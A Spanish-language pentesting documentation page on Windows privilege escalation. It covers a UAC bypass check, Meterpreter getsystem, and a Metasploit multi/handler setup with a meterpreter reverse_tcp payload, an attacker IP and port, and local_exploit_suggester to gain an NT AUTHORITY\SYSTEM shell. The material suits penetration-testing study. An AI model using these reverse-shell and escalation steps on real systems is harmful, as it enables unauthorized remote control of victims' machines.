> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/escalada-de-privilegios/windows.md).
# Windows
## Bypassing UAC con UACMe
{% hint style="info" %}
El Control de Cuentas de Usuario (UAC) en Windows es una característica de seguridad que previene cambios no autorizados en el sistema. Cuando una acción requiere permisos administrativos, UAC solicita la confirmación del usuario mediante una ventana emergente. Esto ayuda a proteger contra malware y modificaciones no deseadas, asegurando que solo usuarios autorizados puedan realizar cambios críticos en el sistema.
{% endhint %}
{% hint style="warning" %}
Para poder usar este método, necesitamos tener acceso a una cuenta que pertenezca al grupo de administradores locales de windows.
Para comprobarlo, podemos ejecutar los siguientes comandos:
```powershell
net users
net localgroup administrators
```
Ejemplo de un caso, en el que es viable este método:
{% endhint %}
## Elevación automática con Metasploit
Cuando tenemos una consola meterpreter, podemos usar el comando "`getsystem`" para realizar una sencilla elevación de privilegios de manera automática:
## Metasploit + Msfvenom
Podemos escalar privilegios con metasploit en windows. En primer lugar deberemos de generar un payload con msfvenom ( [Msfvenom](/explotacion/msfvenom.md#reverse-shell-tcp-con-exe)) y pasarlo a nuestra maquina victima.
Después desde la maquina atacante, nos ponemos a la escucha con metasploit a través de multi/handler. Deberemos de ejecutar los siguientes comandos:
{% hint style="warning" %}
Los valores de los comandos de Metasploit deben ser lo mismos con los que se ha generado el payload en msfvenom (.exe) que está en la maquina victima
{% endhint %}
```bash
msfconsole
use /multi/handler
set LHOST 192.168.1.12 # IP Maquina atacante
set LPORT 4444 # Debe ser el mismo puerto que el que hemos puesto en el payload de msfvenom
set PAYLOAD windows/meterpreter/reverse_tcp # Debe ser el mismo que el que hemos puesto en el payload de msfvenom
run
```
Ahora ejecutamos el payload en la maquina victima y obtenemos una sesión de meterpreter:
{% hint style="success" %}
En muchos casos en los que nos encontramos con que tenemos una meterpreter ya en el sistema, podemos ejecutar el comando "`run post/multi/recon/local_exploit_suggester`" para poder enumerar potenciales exploits para la escalada.
{% endhint %}
Una vez en la sesión de meterpreter (NO EN LA CMD DE WINDOWS), ponemos "`background`" y "`search local_exploit_suggester`":
Esta opción nos dará el exploit más adecuado para la escalada, lo seleccionamos "`use 0`" y miramos las opciones que tiene. En este caso, nos pide el ID de la sesión de meterpreter:
Ponemos el ID de la sesión (lo puedes averiguar con el comando "`sessions -l`"). Ejecutamos:
Ahora, nos aparecerá una lista en colores verde y rojo. Los payloads de color rojo deberemos de omitirlos y centrarnos en los de verde.
Cualquiera de estos podría funcionar (no está asegurado), usamos uno de ellos seleccionándolo:
Ahora, ajustamos los valores necesarios ("`show options`"). Si el modulo funciona obtendremos una sesión de meterpreter en la que podremos abrir una shell ("`shell`") como `nt authority\system`. En el caso de que no funcione volvemos atrás ("`back`") y probamos con otro
